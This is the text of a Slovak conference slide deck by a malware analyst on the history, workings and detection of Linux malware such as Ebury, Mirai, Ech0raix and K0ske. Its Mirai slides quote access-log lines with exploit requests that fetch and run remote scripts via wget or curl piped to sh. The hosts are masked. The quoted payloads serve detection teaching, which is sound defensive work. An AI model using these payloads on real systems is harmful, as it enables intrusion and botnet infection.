
  

Backdoor, botnet
a iná Linuxová zloba

Ladislav Bačo, 01.11.2025



  

# whoami
● Kyberbezpečnosť
● Analýza malvéru
● Riešenie incidentov
● Vzdelávanie
● Analytik sieťových infiltrácii, ESET
● Disclaimer...



  

Zopár otázok namiesto úvodu
● Používate nejaký antimalvér pre Linux?

– Proprietárny antimalvér?
– Open Source riešenie?

● EDR nástroj pre Linux?
– Endpoint Detection and Response

● Sieťové IDS/IPS?
– V domácej sieti? Vo firme?

Zdroj: https://freepngimg.com/png/18960-virus-png-image
https://freepngimg.com/png/17628-shield-png-hd



  

Zopár otázok namiesto úvodu
● Poznáte aspoň jeden malvér pre Linux?

Zdroj: https://freepngimg.com/png/18960-virus-png-image



  

Zopár otázok namiesto úvodu
● Poznáte aspoň jeden malvér pre Linux?

– Trójsky kôň?
– Botnet?
– Rootkit?
– Ransomvér?
– Coinminer?
– ...

Zdroj: https://freepngimg.com/png/18960-virus-png-image



  

Linux malvér



  

Taxonómia
● 1991, CARO

– Computer Antivirus Research Organization

Zdroj: https://docs.microsoft.com/en-us/windows/security/threat-protection/intelligence/malware-naming



  

Trocha histórie
● 1988: Morrisov červ

– 4BSD
– Zraniteľnosti v sendmail a finger
– Dôveryhodné rexec a rsh

Zdroj: https://en.wikipedia.org/wiki/File:Morris_Worm.jpg



  

Trocha histórie
● 1988: Morrisov červ
● 1991: Linux

Zdroj: https://en.wikipedia.org/wiki/File:Tux.svg



  

Trocha histórie
● 1988: Morrisov červ
● 1991: Linux
● 1996: Staog

– Prvý známy malvér pre Linux
– Infikuje ELF súbory
– Skupina VLAD (Austrália)

● tiež 1. známy vírus pre Win95

Zdroj: https://www.wiw.org/~meta/vlad.php?read=ARTICLE.2_4&issue=7&desc=STAOG%20Linux%20Virus



  

Trocha histórie
● 1988: Morrisov červ
● 1991: Linux
● 1996: Staog
● 1997: Bliss

– Infikuje ELF súbory
– Šírenie ako červ, hľadá zariadenia v hosts.equiv
– Bezpečnostné varovania distribúcií, napr. Debian

Zdroj: https://www.f-secure.com/v-descs/bliss.shtml



  

Trocha histórie
● 1988: Morrisov červ
● 1991: Linux
● 1996: Staog
● 1997: Bliss
● 2002: Slapper

– Botnet, 13 000 infikovaných serverov
– Zraniteľnost v Apache mod_ssl

Zdroj: https://linuxsecurity.com/features/what-is-slapper



  

(Takmer) súčasnosť
● 2011: Ebury

– Objavený v 2014
– SSH backdoor
– kradne prihlasovacie údaje

Zdroj: https://www.eset.com/int/about/newsroom/press-releases/announcements/operation-windigo-largest-server-botnet-uncovered/



  

(Takmer) súčasnosť
● 2011: Ebury
● 2014: Azazel

– Open Source userspace rootkit

Zdroj: https://github.com/



  

(Takmer) súčasnosť
● 2011: Ebury
● 2014: Azazel
● 2014: SynoLocker

– Ransomvér pre Synology
– Zraniteľnosti v DSM

Zdroj: https://www.root.cz/clanky/synolocker-diskova-pole-synology-tercem-vyderacu/



  

(Takmer) súčasnosť
● 2011: Ebury
● 2014: Azazel
● 2014: SynoLocker
● 2016: Mirai

– IoT Botnet, DDoS útoky
– Open Source

Zdroj: https://github.com/



  

(Takmer) súčasnosť
● 2011: Ebury
● 2014: Azazel
● 2014: SynoLocker
● 2016: Mirai
● 2019: Ech0raix/QNAPCrypt

– Ransomvér, zneužíva slabé heslá

Zdroj: https://howtofix.guide/ech0raix-ransomware-again-attacks-qnap-nas/



  

(Takmer) súčasnosť
● 2011: Ebury
● 2014: Azazel
● 2014: SynoLocker
● 2016: Mirai
● 2019: Ech0raix/QNAPCrypt
● 2019: HiddenWasp

– Trojan, userspace rootkit, kód z Azazel + Mirai)
Zdroj: https://intezer.com/blog/hiddenwasp-malware-targeting-linux-systems/



  

(Takmer) súčasnosť
● 2011: Ebury
● 2014: Azazel
● 2014: SynoLocker
● 2016: Mirai
● 2019: Ech0raix/QNAPCrypt
● 2019: HiddenWasp
● 2020: Drovorub – APT kernel rootkit + C2 toolkit



  

Súčasnosť
● 2024: XZ Utils

– Backdoor v utilite xz (knižnica liblzma), „supply chain“
● Komprimované testovacie súbory so škodlivým kódom

– Vzdialený prístup cez OpenSSH
● Špecifický ED448 kľúč

– OpenSSH + 3rd party patch => libsystemd => liblzma
● Tarball s makrom, ktoré injektovalo škodlivý kód

– Stále prítomný v niektorých docker images (aj Debian)



  

Súčasnosť
● 2024: XZ Utils
● Júl 2025: K0ske

– Coinminer vygenerovaný pomocou AI

– Možná srbsko-slovenská stopa?

Zdroj: https://malwarelab.eu/posts/koske-panda-ai/



  

Súčasnosť
● 2024: XZ Utils
● Júl 2025: K0ske
● August 2025: PromptLock

– Ransomvér poháňaný umelou inteligenciou

– Golang, multiplatformový (Windows, Linux, MacOS)

– Generovanie Lua skriptov pomocou AI

– Koncept, výskumný projekt NYU

Zdroj: https://infosec.exchange/@ESETresearch/115095803130379945



  

Vybrané rodiny malvéru



  

Ebury / Operation Windigo
● Čo to je:

– OpenSSH backdoor a credential stealer

● Cieľ:
– Kradnutie SSH prístupov (Linux/Ebury)
– Presmerovanie webov a domén na malvér (Linux/Cdorked, Linux/Onimiki)
– Posielanie spamu (Perl/Calfbot)

● Obete:
– kernel.org (2011), cPanel (2013)
– 400 000+ serverov celkovo od 2009
– 100 000+ stále kompromitovaných aj v 2023



  

Ebury
● Zaujímavosti:

– Stealth, portable, vysoká kvalita kódu
● Mnoho Linux distribúcií, SSH backdoor aj na FreeBSD
● Nezanechávanie stôp v logoch
● Unix pipes namiesto súborov
● Úprava OpenSSH konfigurácie v pamäti, nie na disku
● Bez exfiltrácie, ak je sieťové rozhranie v promiskuitnom 

režime

– Bez exploitov, iba slabé heslá



  

Ebury
● Zaujímavosti:

– Nové verzie, aktívne 15+ rokov

– Neskoršie ciele:
● Bitcoin a Ethereum uzly a heslá ku kryptomenovým peňaženkám

– Odchytávanie SSH komunikácie
● Man in the Middle a ARP spoofing
● Kompromitovaný server v rovnakej sieti

Zdroj: https://www.welivesecurity.com/en/eset-research/ebury-alive-unseen-400k-linux-servers-compromised-cryptotheft-financial-gain/



  

Ebury
● SSH Backdoor

– Heslo + príkaz v SSH verzii clienta
– Šifrované IP adresou operátora

● Xcat a Xver príkazy dostupné lokálne
– ssh -G <hexstring>

Zdroj: https://web-assets.esetstatic.com/wls/2014/03/operation_windigo.pdf



  

Ebury
● Detekcia:

– (sieť) ssh verzia s backdoorom
– (host) „ssh -G“



  

Ebury
● Detekcia:

– (sieť) ssh verzia s backdoorom
– (host) „ssh -G“
– Avšak OpenSSH 6.8/6.8p1 (2015-03-18):

ssh(1): Add a -G option to ssh that causes it to parse 
its configuration and dump the result to stdout



  

Ebury
● Detekcia:

– (sieť) ssh verzia s backdoorom
– (host) „ssh -G“
– Avšak OpenSSH 6.8/6.8p1 (2015-03-18):

ssh(1): Add a -G option to ssh that causes it to parse 
its configuration and dump the result to stdout

– https://github.com/eset/malware-research/blob/
master/ebury/detect_ebury.sh



  

Mirai
● Čo to je:

– IoT botnet

● Cieľ:
– DDoS útoky

● Obete:
– Zle zabezpečené IoT zariadenia
– KrebsOnSecurity, OVH, DynDNS, internetová 

infraštruktúra Zdroj: https://github.com/



  

Mirai
● Zaujímavosti

– Open Source => rôzne varianty
– Bruteforce na prednastavené prihlasovacie údaje
– Exploity na niektoré zraniteľnosti

● 2017 zero-day zraniteľnosti v smerovačoch Huawei HG532
● 2018 exploit na D-Link HNAP (Home Network Administration Protocol)

– Rôzne architektúry
● x86, ARM, MIPS, PowerPC, ARC, m68k, ...



  

Mirai
● Detekcia

– Snort/Suricata pravidlá: Mirai, HNAP exploit

Zdroj: https://rules.evebox.org/



  

Mirai
● Detekcia

– Pokusy o šírenie botnetu – access.log
– "GET /cgi-bin/luci/;stok=/locale?

form=country&operation=write&country=$(wget%20http%3A//
***.***.***.***/router.tplink.sh%20-O-%7Csh) HTTP/1.1“

– "GET 
/index.php?s=/index/\x09hink\x07pp/invokefunction&function=call_user_
func_array&vars[0]=shell_exec&vars[1][]='wget 
http://***.***.***.***/bins/x86 -O thonkphp ; chmod 777 
thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1"

– "GET / HTTP/1.1" 404 146 "-" "() { :; }; /bin/bash -c \x22(wget -qO- 
http://***.***.***.***/rondo.qre.sh||busybox wget -qO- 
http://***.***.***.***/rondo.qre.sh||curl -s 
http://***.***.***.***/rondo.qre.sh)|sh\x22& #Mozilla/5.0“



  

Ech0raix
● Čo to je:

– Jednoduchý ransomvér

● Cieľ:
– Šifrovať súbory a žiadať výkupné

● Obete:
– SMB a SOHO NAS
– QNAP, Synology



  

Ech0raix
● Zaujímavosti

– Verzie pre x86 a ARM, ~ 400 riadkov v Go

– Symetrické AES šifrovanie, eCh0raix marker

– Prioritizácia šifrovania podľa prípon (2 skupiny)

– Najprv zašifruje, potom zmaže => možná obnova

– Kľúč generovaný lokálne, alebo z C2 servera:
● Kľúč, ransomnote, bitcoin adresa

– Socks5 Proxy + TOR

Zdroj: https://unit42.paloaltonetworks.com/ech0raix-ransomware-soho/



  

Ech0raix
● Detekcia

– Sieťová komunikácia: Socks5 proxy + .onion doména

Zdroj: https://rules.evebox.org/rule/et/open/2032083



  

K0ske
● Čo to je

– Malvér vygenerovaný pomocou AI (júl/červenec 2025)

● Cieľ:
– Ťaženie kryptomien

● Obete:
– Cloud servery, nesprávne nakonfigurované služby
– JupyterLab

● Slovenská stopa?



  

K0ske
● Zaujímavosti

– Malvér skrytý v obrázkoch s pandami

– Perzistencia cez .bashrc a .bash_logout

– User-mode rootkit cez LD_PRELOAD a readdir()



  

K0ske
● Zaujímavosti

– Malvér skrytý v obrázkoch s pandami



  

K0ske
● Zaujímavosti

– Srbsko-slovenská stopa?

Zdroj: https://www.bleepingcomputer.com/news/security/new-koske-linux-malware-hides-in-cute-panda-images/



  

K0ske
● Zaujímavosti

– Srbsko-slovenská stopa?

Zdroj: https://malwarelab.eu/posts/koske-panda-ai/



  

K0ske
● Zaujímavosti

– Srbsko-slovenská stopa?

Zdroj: https://malwarelab.eu/posts/koske-panda-ai/



  

K0ske
● Zaujímavosti

– Srbsko-slovenská stopa?

Zdroj: https://translate.google.com/?sl=auto&tl=en&text=vozstanica&op=translate



  

K0ske
● Zaujímavosti

– Perzistencia cez .bashrc a .bash_logout a zametanie stôp

Zdroj: https://malwarelab.eu/posts/koske-panda-ai/



  

K0ske
● Zaujímavosti

– Hideproc: User-mode rootkit cez LD_PRELOAD a readdir()

Zdroj: https://malwarelab.eu/posts/koske-panda-ai/



  

K0ske
● Zaujímavosti

– Hideproc: User-mode rootkit cez LD_PRELOAD a readdir()

Zdroj: https://malwarelab.eu/posts/koske-panda-ai/



  

Záver
● Malvér pre Linux je reálny

● Botnety, backdoory, iná zloba

● Zraniteľnosti, zlá konfigurácia, slabé heslá, supply-chain

● (Ne)interaktivita, dôveryhodné zdroje softvéru

● Mastodon: @malwarelab_eu@infosec.exchange
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